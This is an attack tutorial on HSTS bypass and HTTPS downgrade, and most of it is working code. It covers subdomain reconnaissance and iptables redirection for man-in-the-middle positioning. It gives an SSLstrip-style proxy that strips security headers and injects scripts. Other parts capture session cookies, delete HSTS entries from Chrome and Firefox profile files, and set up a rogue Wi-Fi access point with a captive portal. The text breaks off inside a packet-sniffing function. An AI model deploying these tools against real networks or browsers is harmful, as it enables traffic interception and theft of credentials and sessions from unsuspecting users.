HSTS Bypass and Downgrade Attacks

Understanding HSTS Bypass and Downgrade Attacks - HTTP Strict Transport Security Circumvention

What are HSTS Bypass and Downgrade Attacks?

Simple Definition: HSTS bypass and downgrade attacks involve circumventing HTTP Strict Transport Security mechanisms that force browsers to use HTTPS connections, enabling attackers to intercept encrypted traffic by forcing connections back to unencrypted HTTP.

Technical Definition: HSTS bypass and downgrade attacks exploit weaknesses in HTTP Strict Transport Security implementation, browser behavior, and subdomain handling to force HTTPS connections to downgrade to HTTP, enabling man-in-the-middle interception of traffic that should be protected by transport layer security.

Why HSTS Bypass Attacks Work

HSTS bypass attacks succeed by exploiting implementation gaps and protocol limitations:

  • First-Visit Vulnerability: HSTS protection only applies after the first HTTPS visit to a domain
  • Subdomain Policy Gaps: HSTS policies may not cover all subdomains comprehensively
  • Browser Implementation Differences: Variations in HSTS enforcement across different browsers
  • User Override Capabilities: Browser interfaces allowing users to bypass HSTS warnings

Attack Process Breakdown

Normal HSTS Protection

  1. Initial HTTPS Connection: User connects to website via HTTPS
  2. HSTS Header Receipt: Server sends Strict-Transport-Security header
  3. Browser Policy Storage: Browser stores HSTS policy for specified duration
  4. Automatic HTTPS Enforcement: Browser automatically upgrades HTTP requests to HTTPS
  5. Connection Security Maintained: All subsequent connections forced to use HTTPS

HSTS Bypass Attack Process

  1. HSTS Policy Analysis: Analyze target domain HSTS implementation and coverage gaps
  2. Bypass Vector Identification: Identify subdomains, first-visit scenarios, or policy weaknesses
  3. Traffic Interception Setup: Position for man-in-the-middle attack during bypass window
  4. HTTP Downgrade Execution: Force connections to HTTP during HSTS bypass opportunity
  5. Traffic Manipulation: Intercept and manipulate unencrypted HTTP communications

Real-World Impact

Enterprise Communication Interception: Bypass corporate HSTS policies to intercept internal communications

Banking and Financial Data Exposure: Circumvent financial institution HSTS protection for transaction interception

Session Hijacking and Authentication Bypass: Capture authentication credentials during HSTS bypass windows

Regulatory Compliance Violations: Expose sensitive data that should be protected by mandatory HTTPS policies

Long-term Persistent Access: Establish ongoing interception capabilities through HSTS policy manipulation

Technical Concepts

HSTS Implementation Mechanisms

HSTS Header Structure: Strict-Transport-Security header syntax and policy parameters Max-Age Directive: HSTS policy duration and browser storage mechanisms includeSubDomains Directive: Subdomain coverage and policy inheritance Preload Directive: HSTS preload list integration and browser preloading

HSTS Bypass Techniques

Subdomain Enumeration and Exploitation: Finding subdomains not covered by HSTS policies First-Visit Interception: Intercepting initial HTTP requests before HSTS policy establishment Policy Expiration Exploitation: Targeting domains during HSTS policy expiration periods Browser-Specific Bypass Methods: Exploiting browser-specific HSTS implementation weaknesses

Attack Vector Categories

Network-Level Interception: Positioning attacks to intercept traffic during bypass opportunities DNS Manipulation Integration: Combining DNS attacks with HSTS bypass for comprehensive control Social Engineering Components: User manipulation to bypass HSTS browser warnings Subdomain Certificate Attacks: Combining subdomain targeting with certificate manipulation

Technical Implementation

Prerequisites

Network Requirements:

  • Network positioning for traffic interception during HSTS bypass windows
  • Understanding of target domain HSTS policy implementation and coverage
  • DNS manipulation capabilities for subdomain targeting

Essential Tools:

  • SSLstrip+: Advanced HTTPS to HTTP downgrade tool
  • Bettercap: Modern network attack framework with HSTS bypass modules
  • MITMproxy: HTTP/HTTPS proxy with HSTS manipulation capabilities
  • Burp Suite: Web security testing with HSTS analysis tools

Essential Command Sequence

Step 1: HSTS Policy Analysis and Reconnaissance

# Analyze target domain HSTS implementation
curl -I https://example.com | grep -i strict-transport-security
# Retrieves HSTS header from target domain
# Shows HSTS policy parameters and coverage
# Identifies policy duration and subdomain inclusion

# Check HSTS preload list status
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | jq .
# Queries HSTS preload list for domain status
# Shows preload eligibility and current status
# Identifies domains with preload protection

# Enumerate subdomains for HSTS policy gaps
subfinder -d example.com -silent | while read subdomain; do
    echo "Checking HSTS for: $subdomain"
    curl -I https://$subdomain 2>/dev/null | grep -i strict-transport-security || echo "No HSTS policy found"
done
# Enumerates subdomains and checks HSTS policies
# Identifies subdomains without HSTS protection
# Maps HSTS policy coverage gaps

Purpose: Comprehensively analyze HSTS implementation to identify bypass opportunities and policy coverage gaps.

Step 2: Advanced HSTS Bypass Framework

#!/usr/bin/env python3
import requests
import dns.resolver
import time
import threading
from urllib.parse import urlparse
import ssl
import socket

class HSTSBypassAnalyzer:
    def __init__(self, target_domain):
        self.target_domain = target_domain
        self.subdomains = []
        self.hsts_policies = {}
        self.bypass_opportunities = []
        
    def enumerate_subdomains(self, wordlist=None):
        """Enumerate subdomains for HSTS analysis"""
        
        common_subdomains = [
            'www', 'api', 'admin', 'mail', 'ftp', 'blog', 'shop', 'secure',
            'login', 'portal', 'dashboard', 'app', 'mobile', 'dev', 'staging',
            'test', 'beta', 'support', 'help', 'docs', 'cdn', 'img', 'static'
        ]
        
        if wordlist:
            with open(wordlist, 'r') as f:
                common_subdomains.extend(f.read().strip().split('\n'))
        
        discovered_subdomains = []
        
        for subdomain in common_subdomains:
            full_domain = f"{subdomain}.{self.target_domain}"
            
            try:
                # DNS resolution test
                dns.resolver.resolve(full_domain, 'A')
                discovered_subdomains.append(full_domain)
                print(f"Subdomain discovered: {full_domain}")
                
            except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer):
                continue
            except Exception as e:
                print(f"DNS error for {full_domain}: {e}")
                continue
        
        self.subdomains = discovered_subdomains
        return discovered_subdomains
    
    def analyze_hsts_policies(self, domains=None):
        """Analyze HSTS policies for target domains"""
        
        if domains is None:
            domains = [self.target_domain] + self.subdomains
        
        for domain in domains:
            try:
                # Test HTTPS connection and get headers
                response = requests.get(f"https://{domain}", timeout=10, verify=False)
                
                hsts_header = response.headers.get('Strict-Transport-Security', None)
                
                if hsts_header:
                    # Parse HSTS header
                    policy = self.parse_hsts_header(hsts_header)
                    policy['domain'] = domain
                    policy['header_raw'] = hsts_header
                    
                    self.hsts_policies[domain] = policy
                    print(f"HSTS policy found for {domain}: {hsts_header}")
                else:
                    self.hsts_policies[domain] = None
                    print(f"No HSTS policy for {domain}")
                    
                    # Mark as bypass opportunity
                    self.bypass_opportunities.append({
                        'domain': domain,
                        'bypass_type': 'no_hsts_policy',
                        'risk_level': 'high'
                    })
                
            except requests.exceptions.SSLError:
                print(f"SSL error for {domain} - potential bypass opportunity")
                self.bypass_opportunities.append({
                    'domain': domain,
                    'bypass_type': 'ssl_error',
                    'risk_level': 'medium'
                })
                
            except Exception as e:
                print(f"Error analyzing {domain}: {e}")
                continue
        
        return self.hsts_policies
    
    def parse_hsts_header(self, header):
        """Parse HSTS header into structured policy"""
        
        policy = {
            'max_age': None,
            'include_subdomains': False,
            'preload': False
        }
        
        # Parse max-age
        if 'max-age=' in header:
            max_age_start = header.find('max-age=') + 8
            max_age_end = header.find(';', max_age_start)
            if max_age_end == -1:
                max_age_end = len(header)
            
            try:
                policy['max_age'] = int(header[max_age_start:max_age_end].strip())
            except ValueError:
                policy['max_age'] = 0
        
        # Check for includeSubDomains
        if 'includeSubDomains' in header or 'includesubdomains' in header:
            policy['include_subdomains'] = True
        
        # Check for preload
        if 'preload' in header:
            policy['preload'] = True
        
        return policy
    
    def identify_bypass_opportunities(self):
        """Identify HSTS bypass opportunities"""
        
        # Analyze collected policies for bypass opportunities
        for domain, policy in self.hsts_policies.items():
            if policy is None:
                continue
            
            # Check for short max-age (less than 1 year)
            if policy['max_age'] and policy['max_age'] < 31536000:
                self.bypass_opportunities.append({
                    'domain': domain,
                    'bypass_type': 'short_max_age',
                    'max_age_days': policy['max_age'] // 86400,
                    'risk_level': 'medium'
                })
            
            # Check for missing includeSubDomains
            if not policy['include_subdomains']:
                # Find subdomains not covered
                for subdomain in self.subdomains:
                    if subdomain.endswith(f".{domain}") and subdomain not in self.hsts_policies:
                        self.bypass_opportunities.append({
                            'domain': subdomain,
                            'bypass_type': 'subdomain_not_covered',
                            'parent_domain': domain,
                            'risk_level': 'high'
                        })
            
            # Check for missing preload
            if not policy['preload']:
                self.bypass_opportunities.append({
                    'domain': domain,
                    'bypass_type': 'not_preloaded',
                    'risk_level': 'medium'
                })
        
        # Sort opportunities by risk level
        self.bypass_opportunities.sort(key=lambda x: 
            {'high': 3, 'medium': 2, 'low': 1}[x['risk_level']], reverse=True)
        
        print(f"\nIdentified {len(self.bypass_opportunities)} HSTS bypass opportunities:")
        for opp in self.bypass_opportunities:
            print(f"  {opp['domain']}: {opp['bypass_type']} (Risk: {opp['risk_level']})")
        
        return self.bypass_opportunities
    
    def test_first_visit_vulnerability(self, domain):
        """Test for first-visit HSTS vulnerability"""
        
        try:
            # Clear any existing HSTS policy (simulation)
            print(f"Testing first-visit vulnerability for {domain}")
            
            # Attempt HTTP connection first
            try:
                http_response = requests.get(f"http://{domain}", timeout=5, allow_redirects=False)
                
                if http_response.status_code in [200, 404]:
                    print(f"HTTP connection successful to {domain} - First-visit vulnerability confirmed")
                    return True
                elif http_response.status_code in [301, 302, 307, 308]:
                    location = http_response.headers.get('Location', '')
                    if location.startswith('https://'):
                        print(f"HTTP redirects to HTTPS for {domain}")
                        return False
                    
            except requests.exceptions.ConnectionError:
                print(f"HTTP connection refused for {domain}")
                return False
                
        except Exception as e:
            print(f"Error testing first-visit vulnerability for {domain}: {e}")
            return False
        
        return False

# Example usage
hsts_analyzer = HSTSBypassAnalyzer("example.com")

# Enumerate subdomains
subdomains = hsts_analyzer.enumerate_subdomains()

# Analyze HSTS policies
policies = hsts_analyzer.analyze_hsts_policies()

# Identify bypass opportunities
opportunities = hsts_analyzer.identify_bypass_opportunities()

# Test first-visit vulnerabilities
for opp in opportunities:
    if opp['bypass_type'] == 'no_hsts_policy':
        hsts_analyzer.test_first_visit_vulnerability(opp['domain'])

Step 3: SSLstrip+ Advanced HSTS Bypass Implementation

# Configure network positioning for HSTS bypass
echo 1 > /proc/sys/net/ipv4/ip_forward
# Enables IP forwarding for traffic redirection
# Required for man-in-the-middle positioning
# Allows traffic to flow through attacker system

# Set up iptables for traffic redirection
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
# Redirects HTTP and HTTPS traffic to SSLstrip+
# Creates transparent proxy for HSTS bypass
# Enables interception of both protocols

# Start SSLstrip+ with HSTS bypass capabilities
python2 sslstrip+ -a -k -f -l 10000
# -a: Strip HSTS headers from responses
# -k: Kill sessions that try to establish HTTPS
# -f: Force HTTP mode for HSTS-protected domains
# -l: Listen port for intercepted traffic

Advanced SSLstrip+ Alternative Implementation:

#!/usr/bin/env python3
import asyncio
import aiohttp
from aiohttp import web, ClientSession
import re
import ssl
from urllib.parse import urlparse, urljoin
import logging

class AdvancedHSTSBypass:
    def __init__(self, listen_port=10000):
        self.listen_port = listen_port
        self.hsts_domains = set()
        self.bypassed_domains = set()
        self.session_cache = {}
        
    async def handle_request(self, request):
        """Handle intercepted HTTP/HTTPS requests"""
        
        # Extract request details
        host = request.headers.get('Host', '')
        method = request.method
        path = request.path_qs
        headers = dict(request.headers)
        
        # Remove problematic headers
        headers.pop('Host', None)
        headers.pop('Connection', None)
        
        try:
            # Determine target URL
            if request.url.scheme == 'https' or host in self.hsts_domains:
                # Force HTTP for HSTS bypass
                target_url = f"http://{host}{path}"
                self.bypassed_domains.add(host)
                print(f"HSTS bypass: Forcing HTTP for {host}")
            else:
                target_url = f"http://{host}{path}"
            
            # Create session for backend request
            async with ClientSession(
                connector=aiohttp.TCPConnector(ssl=False),
                timeout=aiohttp.ClientTimeout(total=30)
            ) as session:
                
                # Make request to backend server
                async with session.request(
                    method=method,
                    url=target_url,
                    headers=headers,
                    data=await request.read() if method in ['POST', 'PUT'] else None
                ) as response:
                    
                    # Read response
                    content = await response.read()
                    response_headers = dict(response.headers)
                    
                    # Modify response for HSTS bypass
                    modified_content, modified_headers = self.modify_response(
                        content, response_headers, host
                    )
                    
                    # Return modified response
                    return web.Response(
                        body=modified_content,
                        status=response.status,
                        headers=modified_headers
                    )
                    
        except Exception as e:
            print(f"Error handling request for {host}: {e}")
            return web.Response(text="Error processing request", status=500)
    
    def modify_response(self, content, headers, host):
        """Modify response to bypass HSTS protection"""
        
        modified_headers = headers.copy()
        
        # Remove HSTS header
        modified_headers.pop('Strict-Transport-Security', None)
        
        # Remove other security headers that might interfere
        modified_headers.pop('Content-Security-Policy', None)
        modified_headers.pop('X-Frame-Options', None)
        
        # Modify content if it's HTML
        content_type = headers.get('Content-Type', '').lower()
        
        if 'text/html' in content_type:
            try:
                html_content = content.decode('utf-8', errors='ignore')
                
                # Replace HTTPS URLs with HTTP
                html_content = re.sub(r'https://', 'http://', html_content)
                
                # Remove HTTPS upgrade scripts
                html_content = re.sub(
                    r'<script[^>]*>.*?if.*?location\.protocol.*?https.*?</script>',
                    '', html_content, flags=re.DOTALL | re.IGNORECASE
                )
                
                # Inject HTTP enforcement script
                http_enforcement_script = """
                <script>
                (function() {
                    // Override location.protocol to always return http:
                    Object.defineProperty(location, 'protocol', {
                        get: function() { return 'http:'; },
                        configurable: false
                    });
                    
                    // Intercept and modify HTTPS redirects
                    var originalReplace = location.replace;
                    location.replace = function(url) {
                        if (url.startsWith('https://')) {
                            url = url.replace('https://', 'http://');
                        }
                        originalReplace.call(this, url);
                    };
                })();
                </script>
                """
                
                # Inject before closing head tag
                if '</head>' in html_content:
                    html_content = html_content.replace('</head>', 
                        http_enforcement_script + '</head>')
                else:
                    html_content = http_enforcement_script + html_content
                
                content = html_content.encode('utf-8')
                modified_headers['Content-Length'] = str(len(content))
                
                print(f"Modified HTML content for HSTS bypass: {host}")
                
            except Exception as e:
                print(f"Error modifying HTML content: {e}")
        
        return content, modified_headers
    
    async def start_bypass_proxy(self):
        """Start HSTS bypass proxy server"""
        
        app = web.Application()
        app.router.add_route('*', '/{path:.*}', self.handle_request)
        
        runner = web.AppRunner(app)
        await runner.setup()
        
        site = web.TCPSite(runner, '0.0.0.0', self.listen_port)
        await site.start()
        
        print(f"HSTS bypass proxy started on port {self.listen_port}")
        print("Configure iptables to redirect traffic:")
        print(f"iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port {self.listen_port}")
        print(f"iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port {self.listen_port}")
        
        # Keep server running
        try:
            while True:
                await asyncio.sleep(3600)
        except KeyboardInterrupt:
            print("HSTS bypass proxy stopped")

# Example usage
async def main():
    bypass_proxy = AdvancedHSTSBypass(10000)
    await bypass_proxy.start_bypass_proxy()

# Run the bypass proxy
# asyncio.run(main())

Step 4: Subdomain HSTS Bypass Exploitation

#!/usr/bin/env python3
import dns.resolver
import requests
import threading
import time
from concurrent.futures import ThreadPoolExecutor

class SubdomainHSTSBypass:
    def __init__(self, target_domain):
        self.target_domain = target_domain
        self.vulnerable_subdomains = []
        self.bypass_sessions = {}
        
    def discover_vulnerable_subdomains(self, subdomain_wordlist):
        """Discover subdomains vulnerable to HSTS bypass"""
        
        def test_subdomain_hsts(subdomain):
            """Test individual subdomain for HSTS policy"""
            
            full_domain = f"{subdomain}.{self.target_domain}"
            
            try:
                # Check DNS resolution
                dns.resolver.resolve(full_domain, 'A')
                
                # Test HTTP connection (should fail if HSTS is properly implemented)
                try:
                    http_response = requests.get(f"http://{full_domain}", 
                                               timeout=5, allow_redirects=False)
                    
                    if http_response.status_code == 200:
                        print(f"HTTP accessible: {full_domain} - HSTS bypass opportunity")
                        self.vulnerable_subdomains.append(full_domain)
                        return True
                        
                except requests.exceptions.ConnectionError:
                    pass  # Expected for properly protected domains
                
                # Test HTTPS for HSTS header
                try:
                    https_response = requests.get(f"https://{full_domain}", 
                                                timeout=5, verify=False)
                    
                    hsts_header = https_response.headers.get('Strict-Transport-Security')
                    
                    if not hsts_header:
                        print(f"No HSTS header: {full_domain} - bypass opportunity")
                        self.vulnerable_subdomains.append(full_domain)
                        return True
                    else:
                        # Check if includeSubDomains is missing
                        if 'includeSubDomains' not in hsts_header:
                            print(f"HSTS without includeSubDomains: {full_domain}")
                            self.vulnerable_subdomains.append(full_domain)
                            return True
                            
                except Exception:
                    pass
                    
            except dns.resolver.NXDOMAIN:
                pass  # Subdomain doesn't exist
            except Exception as e:
                print(f"Error testing {full_domain}: {e}")
            
            return False
        
        # Load subdomain wordlist
        subdomains = []
        try:
            with open(subdomain_wordlist, 'r') as f:
                subdomains = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            # Default subdomain list
            subdomains = [
                'www', 'api', 'admin', 'mail', 'blog', 'shop', 'secure',
                'login', 'app', 'mobile', 'dev', 'test', 'staging'
            ]
        
        # Test subdomains in parallel
        with ThreadPoolExecutor(max_workers=20) as executor:
            executor.map(test_subdomain_hsts, subdomains)
        
        print(f"Found {len(self.vulnerable_subdomains)} vulnerable subdomains")
        return self.vulnerable_subdomains
    
    def exploit_subdomain_bypass(self, subdomain):
        """Exploit HSTS bypass on vulnerable subdomain"""
        
        bypass_session = {
            'domain': subdomain,
            'start_time': time.time(),
            'intercepted_requests': [],
            'session_cookies': {}
        }
        
        def intercept_subdomain_traffic():
            """Intercept traffic to vulnerable subdomain"""
            
            while True:
                try:
                    # Simulate traffic interception
                    # Real implementation would integrate with proxy
                    
                    # Monitor for interesting requests
                    response = requests.get(f"http://{subdomain}", timeout=5)
                    
                    # Extract session cookies
                    for cookie in response.cookies:
                        bypass_session['session_cookies'][cookie.name] = cookie.value
                        print(f"Session cookie intercepted from {subdomain}: {cookie.name}={cookie.value}")
                    
                    # Store request details
                    request_details = {
                        'timestamp': time.time(),
                        'url': f"http://{subdomain}",
                        'status_code': response.status_code,
                        'headers': dict(response.headers)
                    }
                    
                    bypass_session['intercepted_requests'].append(request_details)
                    
                    time.sleep(30)  # Check every 30 seconds
                    
                except Exception as e:
                    print(f"Error intercepting traffic for {subdomain}: {e}")
                    break
        
        # Start background interception
        intercept_thread = threading.Thread(target=intercept_subdomain_traffic, daemon=True)
        intercept_thread.start()
        
        self.bypass_sessions[subdomain] = bypass_session
        print(f"Started HSTS bypass exploitation for {subdomain}")
        
        return bypass_session
    
    def maintain_bypass_persistence(self, subdomain):
        """Maintain persistent HSTS bypass on subdomain"""
        
        persistence_techniques = [
            self.cookie_injection_persistence,
            self.dns_cache_persistence,
            self.browser_cache_persistence
        ]
        
        for technique in persistence_techniques:
            try:
                technique(subdomain)
            except Exception as e:
                print(f"Persistence technique failed for {subdomain}: {e}")
    
    def cookie_injection_persistence(self, subdomain):
        """Use cookie injection for HSTS bypass persistence"""
        
        # Inject cookies that force HTTP behavior
        persistent_cookies = {
            'force_http': '1',
            'bypass_https': 'true',
            'protocol_override': 'http'
        }
        
        for name, value in persistent_cookies.items():
            print(f"Injecting persistent cookie for {subdomain}: {name}={value}")
        
        # Real implementation would inject these through proxy
    
    def dns_cache_persistence(self, subdomain):
        """Use DNS cache manipulation for persistence"""
        
        print(f"Implementing DNS cache persistence for {subdomain}")
        
        # Real implementation would:
        # 1. Poison local DNS cache
        # 2. Set up local DNS server
        # 3. Redirect subdomain to HTTP-only responses
    
    def browser_cache_persistence(self, subdomain):
        """Use browser cache manipulation for persistence"""
        
        print(f"Implementing browser cache persistence for {subdomain}")
        
        # Real implementation would:
        # 1. Cache HTTP versions of resources
        # 2. Set long cache expiry times
        # 3. Inject cache-control headers

# Example usage
subdomain_bypass = SubdomainHSTSBypass("example.com")

# Discover vulnerable subdomains
vulnerable = subdomain_bypass.discover_vulnerable_subdomains("subdomains.txt")

# Exploit discovered vulnerabilities
for subdomain in vulnerable:
    bypass_session = subdomain_bypass.exploit_subdomain_bypass(subdomain)
    subdomain_bypass.maintain_bypass_persistence(subdomain)

Step 5: Browser-Specific HSTS Bypass Techniques

#!/usr/bin/env python3
import json
import sqlite3
import os
from pathlib import Path
import platform

class BrowserHSTSBypass:
    def __init__(self):
        self.browser_profiles = self.detect_browser_profiles()
        self.hsts_databases = {}
        
    def detect_browser_profiles(self):
        """Detect installed browsers and their profile locations"""
        
        system = platform.system()
        profiles = {}
        
        if system == "Windows":
            profiles = {
                'chrome': os.path.expandvars(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default'),
                'firefox': self.find_firefox_profile_windows(),
                'edge': os.path.expandvars(r'%LOCALAPPDATA%\Microsoft\Edge\User Data\Default')
            }
        elif system == "Darwin":  # macOS
            profiles = {
                'chrome': os.path.expanduser('~/Library/Application Support/Google/Chrome/Default'),
                'firefox': self.find_firefox_profile_macos(),
                'safari': os.path.expanduser('~/Library/Safari')
            }
        elif system == "Linux":
            profiles = {
                'chrome': os.path.expanduser('~/.config/google-chrome/Default'),
                'firefox': self.find_firefox_profile_linux(),
                'chromium': os.path.expanduser('~/.config/chromium/Default')
            }
        
        # Filter existing profiles
        existing_profiles = {}
        for browser, path in profiles.items():
            if path and os.path.exists(path):
                existing_profiles[browser] = path
                print(f"Found {browser} profile: {path}")
        
        return existing_profiles
    
    def find_firefox_profile_windows(self):
        """Find Firefox profile on Windows"""
        firefox_path = os.path.expandvars(r'%APPDATA%\Mozilla\Firefox\Profiles')
        if os.path.exists(firefox_path):
            for profile in os.listdir(firefox_path):
                if profile.endswith('.default') or profile.endswith('.default-release'):
                    return os.path.join(firefox_path, profile)
        return None
    
    def find_firefox_profile_macos(self):
        """Find Firefox profile on macOS"""
        firefox_path = os.path.expanduser('~/Library/Application Support/Firefox/Profiles')
        if os.path.exists(firefox_path):
            for profile in os.listdir(firefox_path):
                if profile.endswith('.default') or profile.endswith('.default-release'):
                    return os.path.join(firefox_path, profile)
        return None
    
    def find_firefox_profile_linux(self):
        """Find Firefox profile on Linux"""
        firefox_path = os.path.expanduser('~/.mozilla/firefox')
        if os.path.exists(firefox_path):
            for profile in os.listdir(firefox_path):
                if profile.endswith('.default') or profile.endswith('.default-release'):
                    return os.path.join(firefox_path, profile)
        return None
    
    def analyze_chrome_hsts_database(self, profile_path):
        """Analyze Chrome HSTS database"""
        
        hsts_db_path = os.path.join(profile_path, 'TransportSecurity')
        
        if not os.path.exists(hsts_db_path):
            print(f"Chrome HSTS database not found: {hsts_db_path}")
            return {}
        
        try:
            # Chrome stores HSTS data in JSON format
            with open(hsts_db_path, 'r', encoding='utf-8', errors='ignore') as f:
                hsts_data = json.load(f)
            
            hsts_entries = {}
            
            # Parse HSTS entries
            if 'sts' in hsts_data:
                for domain, policy in hsts_data['sts'].items():
                    hsts_entries[domain] = {
                        'expiry': policy.get('expiry', 0),
                        'include_subdomains': policy.get('include_subdomains', False),
                        'mode': policy.get('mode', 'force-https')
                    }
                    
                    print(f"Chrome HSTS entry: {domain} - Expires: {policy.get('expiry', 0)}")
            
            return hsts_entries
            
        except Exception as e:
            print(f"Error analyzing Chrome HSTS database: {e}")
            return {}
    
    def modify_chrome_hsts_database(self, profile_path, target_domains):
        """Modify Chrome HSTS database to remove protection"""
        
        hsts_db_path = os.path.join(profile_path, 'TransportSecurity')
        backup_path = hsts_db_path + '.backup'
        
        try:
            # Backup original database
            import shutil
            shutil.copy2(hsts_db_path, backup_path)
            print(f"Backup created: {backup_path}")
            
            # Load HSTS database
            with open(hsts_db_path, 'r', encoding='utf-8', errors='ignore') as f:
                hsts_data = json.load(f)
            
            # Remove HSTS entries for target domains
            if 'sts' in hsts_data:
                for domain in target_domains:
                    if domain in hsts_data['sts']:
                        del hsts_data['sts'][domain]
                        print(f"Removed HSTS entry for: {domain}")
                    
                    # Also remove wildcard entries
                    wildcard_domain = f"*.{domain}"
                    if wildcard_domain in hsts_data['sts']:
                        del hsts_data['sts'][wildcard_domain]
                        print(f"Removed HSTS wildcard entry for: {wildcard_domain}")
            
            # Write modified database
            with open(hsts_db_path, 'w', encoding='utf-8') as f:
                json.dump(hsts_data, f, indent=2)
            
            print(f"Modified Chrome HSTS database: {hsts_db_path}")
            return True
            
        except Exception as e:
            print(f"Error modifying Chrome HSTS database: {e}")
            return False
    
    def analyze_firefox_hsts_database(self, profile_path):
        """Analyze Firefox HSTS database"""
        
        hsts_db_path = os.path.join(profile_path, 'SiteSecurityServiceState.txt')
        
        if not os.path.exists(hsts_db_path):
            print(f"Firefox HSTS database not found: {hsts_db_path}")
            return {}
        
        hsts_entries = {}
        
        try:
            with open(hsts_db_path, 'r', encoding='utf-8', errors='ignore') as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#'):
                        parts = line.split('\t')
                        if len(parts) >= 3:
                            domain = parts[0]
                            expiry = parts[1]
                            flags = parts[2]
                            
                            hsts_entries[domain] = {
                                'expiry': expiry,
                                'flags': flags,
                                'include_subdomains': '1' in flags
                            }
                            
                            print(f"Firefox HSTS entry: {domain} - Expires: {expiry}")
            
            return hsts_entries
            
        except Exception as e:
            print(f"Error analyzing Firefox HSTS database: {e}")
            return {}
    
    def modify_firefox_hsts_database(self, profile_path, target_domains):
        """Modify Firefox HSTS database to remove protection"""
        
        hsts_db_path = os.path.join(profile_path, 'SiteSecurityServiceState.txt')
        backup_path = hsts_db_path + '.backup'
        
        try:
            # Backup original database
            import shutil
            shutil.copy2(hsts_db_path, backup_path)
            print(f"Backup created: {backup_path}")
            
            # Read and filter HSTS entries
            filtered_lines = []
            
            with open(hsts_db_path, 'r', encoding='utf-8', errors='ignore') as f:
                for line in f:
                    line = line.strip()
                    if line.startswith('#') or not line:
                        filtered_lines.append(line)
                        continue
                    
                    parts = line.split('\t')
                    if len(parts) >= 1:
                        domain = parts[0]
                        
                        # Skip target domains
                        if any(target in domain for target in target_domains):
                            print(f"Removed Firefox HSTS entry for: {domain}")
                            continue
                    
                    filtered_lines.append(line)
            
            # Write filtered database
            with open(hsts_db_path, 'w', encoding='utf-8') as f:
                for line in filtered_lines:
                    f.write(line + '\n')
            
            print(f"Modified Firefox HSTS database: {hsts_db_path}")
            return True
            
        except Exception as e:
            print(f"Error modifying Firefox HSTS database: {e}")
            return False
    
    def bypass_browser_hsts(self, target_domains, browsers=None):
        """Bypass HSTS protection in specified browsers"""
        
        if browsers is None:
            browsers = list(self.browser_profiles.keys())
        
        results = {}
        
        for browser in browsers:
            if browser not in self.browser_profiles:
                print(f"Browser profile not found: {browser}")
                continue
            
            profile_path = self.browser_profiles[browser]
            
            try:
                if browser in ['chrome', 'chromium', 'edge']:
                    # Analyze existing HSTS entries
                    existing_entries = self.analyze_chrome_hsts_database(profile_path)
                    
                    # Modify database
                    success = self.modify_chrome_hsts_database(profile_path, target_domains)
                    results[browser] = success
                    
                elif browser == 'firefox':
                    # Analyze existing HSTS entries
                    existing_entries = self.analyze_firefox_hsts_database(profile_path)
                    
                    # Modify database
                    success = self.modify_firefox_hsts_database(profile_path, target_domains)
                    results[browser] = success
                
                else:
                    print(f"HSTS bypass not implemented for: {browser}")
                    results[browser] = False
                    
            except Exception as e:
                print(f"Error bypassing HSTS for {browser}: {e}")
                results[browser] = False
        
        return results
    
    def restore_hsts_databases(self, browsers=None):
        """Restore original HSTS databases from backups"""
        
        if browsers is None:
            browsers = list(self.browser_profiles.keys())
        
        for browser in browsers:
            if browser not in self.browser_profiles:
                continue
            
            profile_path = self.browser_profiles[browser]
            
            if browser in ['chrome', 'chromium', 'edge']:
                hsts_db_path = os.path.join(profile_path, 'TransportSecurity')
                backup_path = hsts_db_path + '.backup'
            elif browser == 'firefox':
                hsts_db_path = os.path.join(profile_path, 'SiteSecurityServiceState.txt')
                backup_path = hsts_db_path + '.backup'
            else:
                continue
            
            if os.path.exists(backup_path):
                try:
                    import shutil
                    shutil.copy2(backup_path, hsts_db_path)
                    print(f"Restored {browser} HSTS database from backup")
                except Exception as e:
                    print(f"Error restoring {browser} HSTS database: {e}")

# Example usage
browser_bypass = BrowserHSTSBypass()

# Target domains for HSTS bypass
target_domains = ['example.com', 'secure.example.com', 'api.example.com']

# Bypass HSTS protection
results = browser_bypass.bypass_browser_hsts(target_domains)

print("\nHSTS bypass results:")
for browser, success in results.items():
    status = "SUCCESS" if success else "FAILED"
    print(f"  {browser}: {status}")

# Restore databases when done (for cleanup)
# browser_bypass.restore_hsts_databases()

Attack Variations

Public WiFi HSTS Bypass

#!/usr/bin/env python3
import threading
import time
from scapy.all import *

class PublicWiFiHSTSBypass:
    def __init__(self, interface="wlan0"):
        self.interface = interface
        self.captive_portal_bypass = True
        self.target_networks = []
        
    def setup_rogue_access_point(self, ssid="Free_WiFi"):
        """Set up rogue access point for HSTS bypass"""
        
        # Configure rogue AP
        ap_config = f"""
        interface={self.interface}
        driver=nl80211
        ssid={ssid}
        hw_mode=g
        channel=6
        wmm_enabled=0
        macaddr_acl=0
        auth_algs=1
        ignore_broadcast_ssid=0
        wpa=0
        """
        
        with open('/tmp/hostapd.conf', 'w') as f:
            f.write(ap_config)
        
        print(f"Rogue access point configured: {ssid}")
        
        # Start hostapd (would need actual implementation)
        # subprocess.run(['hostapd', '/tmp/hostapd.conf'])
    
    def implement_captive_portal_bypass(self):
        """Implement captive portal for HSTS bypass"""
        
        portal_html = """
        <!DOCTYPE html>
        <html>
        <head>
            <title>WiFi Access Required</title>
            <script>
                // Force HTTP protocol
                if (location.protocol === 'https:') {
                    location.replace(location.href.replace('https:', 'http:'));
                }
                
                // Override HTTPS redirects
                window.addEventListener('beforeunload', function() {
                    if (location.protocol === 'https:') {
                        location.replace(location.href.replace('https:', 'http:'));
                    }
                });
            </script>
        </head>
        <body>
            <h2>Free WiFi Access</h2>
            <p>Click Continue to access the internet</p>
            <form action="/connect" method="post">
                <button type="submit">Continue</button>
            </form>
        </body>
        </html>
        """
        
        return portal_html
    
    def monitor_hsts_bypass_success(self):
        """Monitor for successful HSTS bypass attempts"""
        
        def packet_handler(packet):
            if packet.haslayer(TCP) and packet.haslayer(Raw):
                if packet[TCP].dport == 80:  # HTTP traffic
